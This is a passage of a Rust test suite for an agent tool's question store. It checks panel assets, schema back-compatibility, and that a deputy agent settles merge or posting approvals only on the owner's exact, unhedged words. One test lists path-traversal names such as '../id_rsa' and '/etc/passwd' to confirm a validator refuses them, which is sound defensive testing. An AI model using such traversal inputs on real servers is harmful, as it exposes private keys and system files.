2880 "the shell metacharacters are one argument's contents, not syntax"
2881 );
2882
2883 q.summary = "should {url} be configurable?".to_owned();
2886 assert_eq!(
2887 expand("{summary}", &q.run, &q.summary, "http://x/#/questions"),
2888 "should {url} be configurable?"
2889 );
2890 assert_eq!(
2892 expand("{title}: {run}", &q.run, &q.summary, ""),
2893 "{title}: 20260902-201256-9fb7"
2894 );
2895 assert_eq!(
2896 expand("no placeholders", &q.run, &q.summary, "http://x"),
2897 "no placeholders"
2898 );
2899 }
2900
2901 #[test]
2902 fn the_notification_link_lands_on_the_view_that_can_answer() {
2903 assert_eq!(
2904 question_url("http://100.64.0.1:7777"),
2905 "http://100.64.0.1:7777/#/questions"
2906 );
2907 assert_eq!(
2908 question_url("http://100.64.0.1:7777/"),
2909 "http://100.64.0.1:7777/#/questions"
2910 );
2911 assert_eq!(
2913 question_url("http://magi.ts.net/#/runs"),
2914 "http://magi.ts.net/#/runs"
2915 );
2916 assert_eq!(question_url(" "), "");
2918 }
2919
2920 fn panelled() -> Question {
2922 let mut q = choice_question();
2923 q.id = "20260903-014455-ab12".to_owned();
2924 q
2925 }
2926
2927 #[test]
2928 fn a_panel_round_trips_verbatim_with_its_assets_listed_sorted() {
2929 let (dir, s) = store();
2930 let work = dir.path().join("worktree");
2931 std::fs::create_dir_all(&work).unwrap();
2932 std::fs::write(work.join("diff.svg"), "<svg/>").unwrap();
2933 std::fs::write(work.join("table.png"), b"\x89PNG").unwrap();
2934
2935 let mut q = panelled();
2936 let html = "<h1>Merge?</h1>\n<img src=\"asset/diff.svg\">\n";
2937 s.put_panel(
2938 &mut q,
2939 html,
2940 &[work.join("table.png"), work.join("diff.svg")],
2941 )
2942 .unwrap();
2943 s.put(&mut q).unwrap();
2944
2945 assert!(q.panel);
2946 assert_eq!(
2947 q.assets,
2948 ["diff.svg", "table.png"],
2949 "sorted, not in the order the agent happened to pass them"
2950 );
2951 assert_eq!(
2952 s.panel_html(&q.id).as_deref(),
2953 Some(html),
2954 "the html is stored byte for byte; the agent authored the markup"
2955 );
2956 assert_eq!(
2957 s.panel_asset(&q.id, "diff.svg").unwrap().as_deref(),
2958 Some(&b"<svg/>"[..])
2959 );
2960
2961 let body = std::fs::read_to_string(s.path_of(&q.id)).unwrap();
2963 let json: serde_json::Value = serde_json::from_str(&body).unwrap();
2964 assert_eq!(json["panel"], true);
2965 assert_eq!(json["assets"], serde_json::json!(["diff.svg", "table.png"]));
2966 let back = s.get(&q.id).unwrap();
2967 assert!(back.panel);
2968 assert_eq!(back.assets, q.assets);
2969
2970 std::fs::remove_dir_all(&work).unwrap();
2973 assert_eq!(
2974 s.panel_asset(&q.id, "table.png").unwrap().as_deref(),
2975 Some(&b"\x89PNG"[..]),
2976 "a referenced asset would be gone with the worktree"
2977 );
2978 }
2979
2980 #[test]
2981 fn a_traversal_asset_name_is_refused_before_the_filesystem_is_touched() {
2982 let (dir, s) = store();
2983 let mut q = panelled();
2984 s.put_panel(&mut q, "<p>ok</p>", &[]).unwrap();
2985 s.put(&mut q).unwrap();
2986
2987 let secret = "this must never reach the browser";
2990 std::fs::write(s.root().join("id_rsa"), secret).unwrap();
2991 assert_eq!(
2992 std::fs::read_to_string(s.panel_dir(&q.id).join("../id_rsa")).unwrap(),
2993 secret,
2994 "the traversal is real: the operating system resolves this path \
2995 happily, which is why the name has to be refused before the join"
2996 );
2997
2998 let long = "x".repeat(200);
2999 for name in [
3000 "..",
3001 "../id_rsa",
3002 "..\\id_rsa",
3003 "sub/../id_rsa",
3004 "/",
3005 "\\",
3006 "/etc/passwd",
3007 "C:\\Windows\\win.ini",
3008 "",
3009 ".hidden",
3010 ".",
3011 long.as_str(),
3012 ] {
3013 assert!(!valid_asset_name(name), "`{name}` must fail the pattern");
3014 let e = s.panel_asset(&q.id, name).unwrap_err().to_string();
3015 assert!(
3016 e.contains("not a panel file name"),
3017 "`{name}` must be refused as a name, not attempted: {e}"
3018 );
3019 assert!(!e.contains(secret), "`{name}` reached the filesystem: {e}");
3020 }
3021 assert!(s.panel_asset(&q.id, "index.html").unwrap().is_some());
3024
3025 let hidden = dir.path().join(".hidden");
3028 std::fs::write(&hidden, "x").unwrap();
3029 let e = s
3030 .put_panel(&mut q, "<p>replacement</p>", &[hidden])
3031 .unwrap_err()
3032 .to_string();
3033 assert!(e.contains(".hidden") && e.contains("A-Za-z0-9"), "{e}");
3034 assert_eq!(s.panel_html(&q.id).as_deref(), Some("<p>ok</p>"));
3035 assert!(q.assets.is_empty());
3036 }
3037
3038 #[test]
3039 fn the_panel_size_cap_refuses_an_oversized_asset_set_and_writes_nothing() {
3040 let (dir, s) = store();
3041 let mut q = panelled();
3042 s.put(&mut q).unwrap();
3043
3044 let big = dir.path().join("recording.png");
3047 std::fs::File::create(&big)
3048 .unwrap()
3049 .set_len(PANEL_MAX_BYTES)
3050 .unwrap();
3051
3052 let html = "<p>see the recording</p>";
3053 let total = PANEL_MAX_BYTES + html.len() as u64;
3054 let e = s.put_panel(&mut q, html, &[big]).unwrap_err().to_string();
3055 assert!(
3056 e.contains(&PANEL_MAX_BYTES.to_string()),
3057 "the cap is named so the agent knows the limit: {e}"
3058 );
3059 assert!(
3060 e.contains(&total.to_string()),
3061 "the actual size is named so the agent knows by how much: {e}"
3062 );
3063
3064 assert!(!q.panel);
3065 assert!(q.assets.is_empty());
3066 let left: Vec<String> = std::fs::read_dir(s.root())
3067 .unwrap()
3068 .map(|e| e.unwrap().file_name().to_string_lossy().into_owned())
3069 .collect();
3070 assert_eq!(
3071 left,
3072 [format!("{}.json", q.id)],
3073 "a refused panel leaves neither a directory nor scratch: {left:?}"
3074 );
3075 }
3076
3077 #[test]
3078 fn two_assets_sharing_a_base_name_are_refused_rather_than_one_hiding_the_other() {
3079 let (dir, s) = store();
3080 let (before, after) = (dir.path().join("before"), dir.path().join("after"));
3081 std::fs::create_dir_all(&before).unwrap();
3082 std::fs::create_dir_all(&after).unwrap();
3083 std::fs::write(before.join("diff.png"), "before").unwrap();
3084 std::fs::write(after.join("diff.png"), "after").unwrap();
3085
3086 let mut q = panelled();
3087 let e = s
3088 .put_panel(
3089 &mut q,
3090 "<p>x</p>",
3091 &[before.join("diff.png"), after.join("diff.png")],
3092 )
3093 .unwrap_err()
3094 .to_string();
3095 assert!(e.contains("diff.png"), "{e}");
3096 assert!(
3097 e.contains("before") && e.contains("after"),
3098 "both sources are named, because the fix is to rename one: {e}"
3099 );
3100 assert!(!q.panel);
3101 assert!(!s.panel_dir(&q.id).exists());
3102 }
3103
3104 #[test]
3105 fn concurrent_questions_keep_independent_records_and_panels_with_identical_entropy() {
3106 let (_dir, s) = store();
3107 let barrier = std::sync::Barrier::new(8);
3108 let ids = std::thread::scope(|scope| {
3109 let handles: Vec<_> = (0..8)
3110 .map(|worker| {
3111 let s = &s;
3112 let barrier = &barrier;
3113 scope.spawn(move || {
3114 barrier.wait();
3115 (0..16)
3116 .map(|index| {
3117 let mut q = choice_question();
3118 q.id = new_id_at("20261020-224346", 0xf8ef);
3121 q.summary = format!("worker {worker}, question {index}");
3122 assert!(valid_asset_name(&q.id));
3123 assert_eq!(q.short(), "f8ef");
3124 let html = format!("<p>{}</p>", q.summary);
3125 s.put_panel(&mut q, &html, &[]).unwrap();
3126 s.put(&mut q).unwrap();
3127 (q.id, q.summary, html)
3128 })
3129 .collect::<Vec<_>>()
3130 })
3131 })
3132 .collect();
3133 handles
3134 .into_iter()
3135 .flat_map(|handle| handle.join().unwrap())
3136 .collect::<Vec<_>>()
3137 });
3138 assert_eq!(s.list().len(), ids.len());
3139 for (id, summary, html) in ids {
3140 assert_eq!(s.get(&id).unwrap().summary, summary);
3141 assert_eq!(s.panel_html(&id).as_deref(), Some(html.as_str()));
3142 }
3143 }
3144
3145 #[test]
3146 fn storing_a_panel_twice_replaces_it_rather_than_merging_two_attempts() {
3147 let (dir, s) = store();
3148 std::fs::write(dir.path().join("old.png"), "old").unwrap();
3149 std::fs::write(dir.path().join("new.png"), "new").unwrap();
3150
3151 let mut q = panelled();
3152 s.put_panel(&mut q, "<p>first</p>", &[dir.path().join("old.png")])
3153 .unwrap();
3154 s.put_panel(&mut q, "<p>second</p>", &[dir.path().join("new.png")])
3155 .unwrap();
3156
3157 assert_eq!(q.assets, ["new.png"]);
3158 assert_eq!(s.panel_html(&q.id).as_deref(), Some("<p>second</p>"));
3159 assert!(
3160 s.panel_asset(&q.id, "old.png").unwrap().is_none(),
3161 "an asset from the first attempt would show a mix of two answers"
3162 );
3163
3164 s.drop_panel(&q.id).unwrap();
3165 assert!(s.panel_html(&q.id).is_none());
3166 assert!(!s.panel_dir(&q.id).exists());
3167 s.drop_panel(&q.id)
3168 .expect("dropping a panel that is already gone is the desired state");
3169 }
3170
3171 #[test]
3172 fn a_question_with_no_panel_reports_none_rather_than_an_error() {
3173 let (_dir, s) = store();
3174 let mut q = panelled();
3175 s.put(&mut q).unwrap();
3176
3177 assert!(!q.panel);
3178 assert!(s.panel_html(&q.id).is_none());
3179 assert!(
3180 s.panel_asset(&q.id, "diff.svg").unwrap().is_none(),
3181 "a missing file is a 404 for the caller, not a failure of the store"
3182 );
3183 let json = serde_json::to_value(&q).unwrap();
3184 assert_eq!(json["panel"], false);
3185 assert_eq!(json["assets"], serde_json::json!([]));
3186
3187 let e = s.put_panel(&mut q, " \n", &[]).unwrap_err().to_string();
3190 assert!(e.contains("empty panel"), "{e}");
3191 assert!(!s.panel_dir(&q.id).exists());
3192 }
3193
3194 #[test]
3195 fn a_question_written_before_panels_existed_still_deserialises() {
3196 let (_dir, s) = store();
3197 std::fs::create_dir_all(s.root()).unwrap();
3198 let id = "20260902-231501-ab12";
3199 let body = r#"{
3201 "schema": 1,
3202 "id": "20260902-231501-ab12",
3203 "run": "20260902-201256-9fb7",
3204 "node": "implement",
3205 "seat": "impl-A",
3206 "summary": "Which storage backend should the cache use?",
3207 "detail": "Both are already dependencies.",
3208 "choices": ["SQLite", "Redis"],
3209 "status": "open",
3210 "asked_at": "2026-09-02T23:15:01Z",
3211 "answered_at": null,
3212 "answer": null
3213}"#;
3214 std::fs::write(s.path_of(id), body).unwrap();
3215
3216 let q = s.get(id).unwrap();
3217 assert!(
3218 !q.panel,
3219 "an absent field means no panel, not a parse error"
3220 );
3221 assert!(q.assets.is_empty());
3222 assert_eq!(q.schema, 1);
3227 assert!(q.thread.is_empty());
3228 assert_eq!(
3229 q.answer_timeout, 0,
3230 "an absent field means unrecorded, not a zero-second deadline"
3231 );
3232 assert!(!q.waiting_on_agent());
3233 assert_eq!(q.summary, "Which storage backend should the cache use?");
3234 assert_eq!(
3235 s.list().len(),
3236 1,
3237 "and it is still listed; skipping it would hide an open question"
3238 );
3239 }
3240
3241 fn turn(who: Who, body: &str, at: Timestamp) -> Turn {
3242 Turn {
3243 who,
3244 body: body.to_owned(),
3245 at,
3246 note: None,
3247 }
3248 }
3249
3250 #[test]
3251 fn a_turn_round_trips_as_who_body_at_with_two_named_speakers() {
3252 let mut q = choice_question();
3255 q.thread
3256 .push(turn(Who::Operator, "why not Postgres?", Timestamp::now()));
3257 let value = serde_json::to_value(&q.thread[0]).unwrap();
3258 let mut keys: Vec<&str> = value
3259 .as_object()
3260 .unwrap()
3261 .keys()
3262 .map(String::as_str)
3263 .collect();
3264 keys.sort_unstable();
3265 assert_eq!(keys, ["at", "body", "who"]);
3266 assert_eq!(value["who"], "operator");
3267 assert_eq!(value["body"], "why not Postgres?");
3268
3269 let agent_turn = serde_json::json!({"who": "agent", "body": "hi", "at": value["at"]});
3270 let parsed: Turn = serde_json::from_value(agent_turn).unwrap();
3271 assert_eq!(parsed.who, Who::Agent);
3272 }
3273
3274 fn approval_question() -> Question {
3275 let mut q = Question::new(
3276 "run".into(),
3277 crate::land::APPROVAL_NODE.into(),
3278 "land".into(),
3279 "Merge?".into(),
3280 String::new(),
3281 vec!["merge".into(), "hold".into()],
3282 );
3283 let mut dep = Deputy::new("brief".into());
3284 dep.seat = Some(crate::agent::SeatState::new("deputy-x", "alpha", 1));
3285 q.deputy = Some(dep);
3286 q
3287 }
3288
3289 #[test]
3290 fn deputy_batch_words_never_replace_specific_consent_or_a_recommendation_manifest() {
3291 for choice in [
3292 crate::merge_decision::WITHDRAW,
3293 "reimplement:primary",
3294 "retry",
3295 "discard",
3296 ] {
3297 let mut q = approval_question();
3298 q.choices.push(choice.into());
3299 if matches!(choice, "retry" | "discard") {
3300 q.node = "recovery".into();
3301 }
3302 if choice == "discard" {
3303 q.actions.insert(choice.into(), ChoiceAction::Done);
3304 }
3305 let words = "おっけーそれぞれ回答してー";
3306 q.say(words).unwrap();
3307 let error = q
3308 .settle_by_deputy("deputy-x", choice, words, None)
3309 .unwrap_err()
3310 .to_string();
3311 assert!(
3312 error.contains(if choice == "retry" {
3313 "manifest"
3314 } else {
3315 "individual owner confirmation"
3316 }),
3317 "{choice}: {error}"
3318 );
3319 assert!(q.status.open());
3320 }
3321 }
3322
3323 #[test]
3324 fn merge_decision_deputy_requires_current_head_confirmation_and_exact_stop_tokens() {
3325 for choice in [
3326 crate::land::HOLD,
3327 crate::land::REPAIR,
3328 crate::merge_decision::WITHDRAW,
3329 "reimplement:beta",
3330 ] {
3331 let mut q = approval_question();
3332 q.node = crate::land::APPROVAL_NODE.into();
3333 q.choices = vec!["merge".into(), choice.into()];
3334 q.merge_target = Some(crate::merge_decision::Target {
3335 pr: "PR 42".into(),
3336 head: "abc".into(),
3337 language: "en".into(),
3338 });
3339 q.say(format!("Should we choose {choice}?")).unwrap();
3340 assert!(
3341 q.settle_by_deputy("deputy-x", choice, choice, None)
3342 .is_err()
3343 );
3344 q.say(choice).unwrap();
3345 q.settle_by_deputy("deputy-x", choice, choice, None)
3346 .unwrap();
3347 assert_eq!(q.resolution().as_deref(), Some(choice));
3348 }
3349 let mut q = approval_question();
3350 q.node = crate::land::APPROVAL_NODE.into();
3351 q.choices = vec!["merge".into(), "hold".into()];
3352 q.merge_target = Some(crate::merge_decision::Target {
3353 pr: "PR 42".into(),
3354 head: "new-head".into(),
3355 language: "en".into(),
3356 });
3357 q.say("merge old-head").unwrap();
3358 assert!(
3359 q.settle_by_deputy("deputy-x", "merge", "merge old-head", None)
3360 .is_err()
3361 );
3362 q.say("merge new-head").unwrap();
3363 q.settle_by_deputy("deputy-x", "merge", "merge new-head", None)
3364 .unwrap();
3365 }
3366
3367 #[test]
3368 fn merge_repair_deputy_settle_requires_the_exact_latest_owner_choice() {
3369 let mut q = approval_question();
3370 q.choices.push(crate::land::REPAIR.into());
3371 q.say("maybe fix findings and re-review").unwrap();
3372 assert!(
3373 q.settle_by_deputy("deputy-x", crate::land::REPAIR, crate::land::REPAIR, None)
3374 .is_err()
3375 );
3376 q.say(crate::land::REPAIR).unwrap();
3377 q.settle_by_deputy("deputy-x", crate::land::REPAIR, crate::land::REPAIR, None)
3378 .unwrap();
3379 assert_eq!(q.resolution().as_deref(), Some(crate::land::REPAIR));
3380 assert_eq!(
3381 crate::land::approval(q.resolution().as_deref()),
3382 crate::land::Approval::Repair
3383 );
3384 }
3385
3386 #[test]
3387 fn a_merge_approval_settles_on_a_verbatim_quote_of_the_latest_message() {
3388 let mut q = approval_question();
3389 q.say("merge").unwrap();
3390 q.reply("sure?", vec!["merge".into(), "hold".into()])
3391 .unwrap();
3392 q.say(" Merge it please ").unwrap();
3393 assert!(
3394 q.settle_by_deputy("deputy-x", "merge", " ", None)
3395 .is_err(),
3396 "an empty quote is refused"
3397 );
3398 assert!(
3399 q.settle_by_deputy("deputy-x", "merge", "ship it", None)
3400 .is_err(),
3401 "a quote the owner never said is refused"
3402 );
3403 assert_eq!(q.status, QuestionStatus::Open);
3404 q.settle_by_deputy("deputy-x", "merge", "Merge it please", None)
3405 .unwrap();
3406 assert_eq!(q.resolution().as_deref(), Some("merge"));
3407 }
3408
3409 #[test]
3410 fn posting_the_original_text_needs_an_unhedged_verbatim_quote() {
3411 use crate::github_text::{POST_ORIGINAL, USE_FALLBACK};
3412 let mk = || {
3413 let mut q = Question::new(
3414 "run".into(),
3415 crate::github_text::ASK_NODE.into(),
3416 crate::github_text::ASK_SEAT.into(),
3417 "s".into(),
3418 String::new(),
3419 vec![USE_FALLBACK.into(), POST_ORIGINAL.into()],
3420 );
3421 let mut dep = Deputy::new("brief".into());
3422 dep.seat = Some(crate::agent::SeatState::new("deputy-x", "alpha", 1));
3423 q.deputy = Some(dep);
3424 q
3425 };
3426 let mut hedged = mk();
3427 hedged.say("Post the original, maybe?").unwrap();
3428 assert!(
3429 hedged
3430 .settle_by_deputy("deputy-x", POST_ORIGINAL, "Post the original", None)
3431 .is_err()
3432 );
3433 let mut clear = mk();
3434 clear.say("Post the original text as it is.").unwrap();
3435 clear
3436 .settle_by_deputy("deputy-x", POST_ORIGINAL, "Post the original text", None)
3437 .unwrap();
3438 assert_eq!(clear.resolution().as_deref(), Some(POST_ORIGINAL));
3439 let mut japanese = mk();
3440 let words = "いいや、まだ説明が足りない。元の説明で投稿してください。";
3441 japanese.say(words).unwrap();
3442 japanese
3443 .settle_by_deputy("deputy-x", POST_ORIGINAL, words, None)
3444 .unwrap();
3445 let mut unrelated = mk();
3446 unrelated.say("Proceed with the task").unwrap();
3447 assert!(
3448 unrelated
3449 .settle_by_deputy("deputy-x", POST_ORIGINAL, "Proceed with the task", None)
3450 .is_err()
3451 );
3452 for words in [
3453 "OK, post the original",
3454 "Yes, post original",
3455 "I'd like to post the original",
3456 ] {
3457 let mut natural = mk();
3458 natural.say(words).unwrap();
3459 natural
3460 .settle_by_deputy("deputy-x", POST_ORIGINAL, words, None)
3461 .unwrap();
3462 }
3463 for (message, quote) in [
3464 (
3465 "ログには「元の説明で投稿しました」と記録されています。",
3466 "ログには「元の説明で投稿しました」と記録されています。",
3467 ),
3468 (
3469 "ログには「元の説明で投稿してください」と記録されています。",
3470 "元の説明で投稿してください",
3471 ),
3472 ] {
3473 let mut descriptive = mk();
3474 descriptive.say(message).unwrap();
3475 assert!(
3476 descriptive
3477 .settle_by_deputy("deputy-x", POST_ORIGINAL, quote, None)
3478 .is_err()
3479 );
3480 assert!(descriptive.status.open());
3481 assert!(descriptive.answer.is_none());
3482 }
3483 let mut descriptive = mk();
3484 let message = "Post original was the option I saw.";
3485 descriptive.say(message).unwrap();
3486 for quote in [message, "Post original"] {
3487 assert!(
3488 descriptive
3489 .settle_by_deputy("deputy-x", POST_ORIGINAL, quote, None)
3490 .is_err()
3491 );
3492 assert!(descriptive.status.open());
3493 assert!(descriptive.answer.is_none());
3494 }
3495 let mut safe = mk();
3497 safe.say("use the fallback").unwrap();
3498 safe.settle_by_deputy("deputy-x", USE_FALLBACK, "use the fallback", None)
3499 .unwrap();
3500 }
3501
3502 #[test]
3503 fn posting_deputy_rejects_multiline_quoted_context() {
3504 use crate::github_text::{ASK_NODE, ASK_SEAT, POST_ORIGINAL, USE_FALLBACK, USE_REWRITE};
3505 for (command, choice) in [
3506 ("Post original", POST_ORIGINAL),
3507 ("Use rewrite", USE_REWRITE),
3508 ] {
3509 for message in [
3510 format!("The log contains:\n```\n{command}\n```"),
3511 format!("The log contains:\n\"\n{command}\n\""),
3512 format!("The log says: “Reported. {command}.”"),
3513 format!("The log says: “\n{command}\n”"),
3514 ]
3515 .into_iter()
3516 .chain(crate::github_text::reported_posting_messages(command))
3517 {
3518 let mut q = Question::new(
3519 "run".into(),
3520 ASK_NODE.into(),
3521 ASK_SEAT.into(),
3522 "s".into(),
3523 String::new(),
3524 vec![USE_FALLBACK.into(), choice.into()],
3525 );
3526 let mut dep = Deputy::new("brief".into());
3527 dep.seat = Some(crate::agent::SeatState::new("deputy-x", "alpha", 1));
3528 q.deputy = Some(dep);
3529 q.say(&message).unwrap();
3530 let tmp = tempfile::tempdir().unwrap();
3531 let questions = Questions::at(tmp.path().join("questions"));
3532 questions.put(&mut q).unwrap();
3533 for quote in [command, message.as_str()] {
3534 assert!(
3535 questions
3536 .update(&q.id, |stored| {
3537 stored.settle_by_deputy("deputy-x", choice, quote, None)
3538 })
3539 .is_err()
3540 );
3541 let after = questions.get(&q.id).unwrap();
3542 assert!(after.status.open());
3543 assert!(after.answer.is_none());
3544 }
3545 }
3546 }
3547 }
3548
3549 #[test]
3550 fn posting_the_rewrite_needs_an_unhedged_verbatim_quote() {
3551 use crate::github_text::{USE_FALLBACK, USE_REWRITE};
3552 let mk = || {
3553 let mut q = Question::new(
3554 "run".into(),
3555 crate::github_text::ASK_NODE.into(),
3556 crate::github_text::ASK_SEAT.into(),
3557 "s".into(),
3558 String::new(),
3559 vec![USE_FALLBACK.into(), USE_REWRITE.into()],
3560 );
3561 let mut dep = Deputy::new("brief".into());
3562 dep.seat = Some(crate::agent::SeatState::new("deputy-x", "alpha", 1));
3563 q.deputy = Some(dep);
3564 q
3565 };
3566 let mut hedged = mk();
3567 hedged.say("Use the rewrite, maybe?").unwrap();
3568 assert!(
3569 hedged
3570 .settle_by_deputy("deputy-x", USE_REWRITE, "Use the rewrite", None)
3571 .is_err()
3572 );
3573 let mut descriptive = mk();
3574 let message = "Use rewrite was the option I saw.";
3575 descriptive.say(message).unwrap();
3576 for quote in [message, "Use rewrite"] {
3577 assert!(
3578 descriptive
3579 .settle_by_deputy("deputy-x", USE_REWRITE, quote, None)
3580 .is_err()
3581 );
3582 assert!(descriptive.status.open());
3583 assert!(descriptive.answer.is_none());
3584 }
3585 for words in [
3586 "Use the rewrite text as it is.",
3587 "I'd like to use the rewrite",
3588 "修正版で投稿してください。",
3589 ] {
3590 let mut clear = mk();
3591 clear.say(words).unwrap();
3592 clear
3593 .settle_by_deputy("deputy-x", USE_REWRITE, words, None)
3594 .unwrap();
3595 assert_eq!(clear.resolution().as_deref(), Some(USE_REWRITE));
3596 }
3597 let mut safe = mk();
3599 safe.say("use the fallback").unwrap();
3600 safe.settle_by_deputy("deputy-x", USE_FALLBACK, "use the fallback", None)
3601 .unwrap();
3602 }
3603
3604 #[test]
3605 fn a_local_release_approval_is_held_to_the_merge_rules_but_an_escalation_is_not() {
3606 let mk = |choices: Vec<String>| {
3607 let mut q = Question::new(
3608 String::new(),
3609 crate::bump::NOTICE_NODE.into(),
3610 "release-watch".into(),
3611 "Release?".into(),
3612 String::new(),
3613 choices,
3614 );
3615 let mut dep = Deputy::new("brief".into());
3616 dep.seat = Some(crate::agent::SeatState::new("deputy-x", "alpha", 1));
3617 q.deputy = Some(dep);
3618 q
3619 };
3620 let mut approval = mk(vec!["merge".into(), "hold".into()]);
3621 assert!(crate::deputy::merge_gated(&approval));
3622 approval.say("マージしていいよ").unwrap();
3623 assert!(
3624 approval
3625 .settle_by_deputy("deputy-x", "merge", "ぜひマージして", None)
3626 .is_err(),
3627 "a quote the owner never said is refused"
3628 );
3629 approval
3630 .settle_by_deputy("deputy-x", "merge", "マージしていいよ", None)
3631 .unwrap();
3632
3633 let mut esc = mk(vec!["rerun again".into(), "hold".into(), "leave it".into()]);
3634 assert!(!crate::deputy::merge_gated(&esc));
3635 esc.say("もう監視はいらない").unwrap();
3636 esc.settle_by_deputy("deputy-x", "leave it", "監視はいらない", None)
3637 .unwrap();
3638 assert_eq!(esc.resolution().as_deref(), Some("leave it"));
3639 }
3640
3641 #[test]
3642 fn a_merge_among_other_requests_settles_but_hold_needs_the_whole_message() {
3643 let mut q = approval_question();
3644 q.say("マージしていいよ。残りのレビュー指摘はフォローアップタスクとして積んで")
3645 .unwrap();
3646 assert!(
3647 q.settle_by_deputy("deputy-x", "merge", "どこかの言葉", None)
3648 .is_err(),
3649 "the quote must be the owner's"
3650 );
3651 assert!(
3652 q.settle_by_deputy("deputy-x", "hold", "マージしていいよ", None)
3653 .is_err(),
3654 "`hold` still needs the whole message"
3655 );
3656 q.settle_by_deputy("deputy-x", "merge", "マージしていいよ", None)
3657 .unwrap();
3658 assert_eq!(q.resolution().as_deref(), Some("merge"));
3659 }
3660
3661 fn settle_ready() -> Question {
3662 let mut q = Question::new(
3663 "task".to_owned(),
3664 "conduct".to_owned(),
3665 "conduct".to_owned(),
3666 "Done?".to_owned(),
3667 String::new(),
3668 vec!["yes".to_owned(), "no".to_owned()],
3669 );
3670 let mut seat = crate::agent::SeatState::new("deputy-x", "alpha", 1);
3671 seat.turns = 1;
3672 let mut dep = Deputy::new("brief".to_owned());
3673 dep.seat = Some(seat);
3674 q.deputy = Some(dep);
3675 q.say("setup done, and file a follow-up").unwrap();
3676 q
3677 }
3678
3679 #[test]
3680 fn a_settle_note_is_stored_on_the_turn_through_update_and_reads_back() {
3681 let dir = tempfile::TempDir::new().unwrap();
3682 let store = Questions::at(dir.path().join("questions"));
3683 let mut q = settle_ready();
3684 let id = q.id.clone();
3685 store.put(&mut q).unwrap();
3686 store
3687 .update(&id, |q| {
3688 q.settle_by_deputy(
3689 "deputy-x",
3690 "yes",
3691 "setup done",
3692 Some(" no follow-up was queued "),
3693 )
3694 })
3695 .unwrap();
3696 let back = store.get(&id).unwrap();
3697 let turn = back.thread.last().unwrap();
3698 assert_eq!(turn.who, Who::Agent);
3699 assert!(turn.body.starts_with("Settled as `yes`"));
3700 assert_eq!(turn.note.as_deref(), Some("no follow-up was queued"));
3701 assert_eq!(back.thread[0].note, None);
3702 }
3703
3704 #[test]
3705 fn an_empty_or_blank_settle_note_is_no_note() {
3706 for note in [None, Some(""), Some(" \n ")] {
3707 let mut q = settle_ready();
3708 q.settle_by_deputy("deputy-x", "yes", "setup done", note)
3709 .unwrap();
3710 assert_eq!(q.thread.last().unwrap().note, None, "{note:?}");
3711 let json = serde_json::to_string(&q).unwrap();
3712 assert!(!json.contains("\"note\""), "no key when there is none");
3713 }
3714 }
3715
3716 #[test]
3717 fn a_refused_settle_leaves_no_note_behind() {
3718 let mut q = settle_ready();
3719 let before = q.thread.clone();
3720 assert!(
3721 q.settle_by_deputy("deputy-x", "yes", "never said this", Some("n"))
3722 .is_err()
3723 );
3724 assert!(
3725 q.settle_by_deputy("someone-else", "yes", "setup done", Some("n"))
3726 .is_err()
3727 );
3728 assert_eq!(q.thread, before);
3729 assert_eq!(q.status, QuestionStatus::Open);
3730 }
3731
3732 #[test]
3733 fn a_turn_written_before_notes_existed_still_reads() {
3734 let t: Turn =
3735 serde_json::from_str(r#"{"who":"agent","body":"old","at":"2026-01-01T00:00:00Z"}"#)
3736 .unwrap();
3737 assert_eq!(t.note, None);
3738 }
3739
3740 #[test]
3741 fn a_quote_from_an_earlier_owner_message_does_not_settle_a_merge() {
3742 let mut q = approval_question();
3743 q.say("merge").unwrap();
3744 q.reply("sure?", vec!["merge".into(), "hold".into()])
3745 .unwrap();
3746 q.say("wait, hold off").unwrap();
3747 assert!(
3748 q.settle_by_deputy("deputy-x", "merge", "merge", None)
3749 .is_err()
3750 );
3751 assert_eq!(q.status, QuestionStatus::Open);
3752 }
3753
3754 #[test]
3755 fn a_deputy_settles_only_on_an_offered_choice_and_the_owners_own_words() {
3756 let mut q = Question::new(
3757 "task".to_owned(),
3758 "conduct".to_owned(),
3759 "conduct".to_owned(),
3760 "Done?".to_owned(),
3761 String::new(),
3762 vec!["yes".to_owned(), "no".to_owned()],
3763 );
3764 let mut seat = crate::agent::SeatState::new("deputy-x", "alpha", 1);
3765 seat.turns = 1;
3766 let mut dep = Deputy::new("brief".to_owned());
3767 dep.seat = Some(seat);
3768 q.deputy = Some(dep);
3769 q.say("setup done, go ahead").unwrap();
3770
3771 assert!(
3772 q.settle_by_deputy("someone-else", "yes", "setup done", None)
3773 .is_err()
3774 );
3775 assert!(
3776 q.settle_by_deputy("deputy-x", "maybe", "setup done", None)
3777 .is_err()
3778 );
3779 assert!(
3780 q.settle_by_deputy("deputy-x", "yes", "never said this", None)
3781 .is_err()
3782 );
3783 assert!(q.settle_by_deputy("deputy-x", "yes", " ", None).is_err());
3784 assert_eq!(q.status, QuestionStatus::Open);
3785
3786 q.settle_by_deputy("deputy-x", "yes", "setup done", None)
3787 .unwrap();
3788 assert_eq!(q.status, QuestionStatus::Answered);
3789 assert_eq!(q.resolution().as_deref(), Some("yes"));
3790 let last = q.thread.last().unwrap();
3791 assert_eq!(last.who, Who::Agent);
3792 assert!(
3793 last.body.contains("setup done"),
3794 "the quote stays on the record"
3795 );
3796 }
3797
3798 #[test]
3799 fn a_question_written_before_deputies_still_reads() {
3800 let mut q = Question::new(
3801 "task".to_owned(),
3802 "conduct".to_owned(),
3803 "conduct".to_owned(),
3804 "Done?".to_owned(),
3805 String::new(),
3806 Vec::new(),
3807 );
3808 q.schema = 4;
3809 let mut v = serde_json::to_value(&q).unwrap();
3810 v.as_object_mut().unwrap().remove("deputy");
3811 let back: Question = serde_json::from_value(v).unwrap();
3812 assert!(back.deputy.is_none());
3813 }
3814
3815 #[test]
3816 fn saying_something_appends_an_operator_turn_without_deciding_anything() {
3817 let mut q = choice_question();
3818 q.say("does the cache need eviction?").unwrap();
3819 assert_eq!(q.thread.len(), 1);
3820 assert_eq!(q.thread[0].who, Who::Operator);
3821 assert_eq!(q.thread[0].body, "does the cache need eviction?");
3822 assert_eq!(q.status, QuestionStatus::Open);
3825 assert!(q.answer.is_none());
3826 assert!(q.waiting_on_agent(), "the ball is now in the agent's court");
3827 }
3828
3829 #[test]
3830 fn saying_and_replying_are_refused_on_a_settled_question_and_on_empty_text() {
3831 let mut answered = choice_question();
3832 answered
3833 .answer(Answer::Choice("SQLite".to_owned()))
3834 .unwrap();
3835 let a = answered.say("still there?").unwrap_err().to_string();
3836 assert!(a.contains("already answered"), "{a}");
3837 let b = answered
3838 .reply("still there?", vec![])
3839 .unwrap_err()
3840 .to_string();
3841 assert!(b.contains("already answered"), "{b}");
3842
3843 let mut abandoned = choice_question();
3844 abandoned.abandon("timed out");
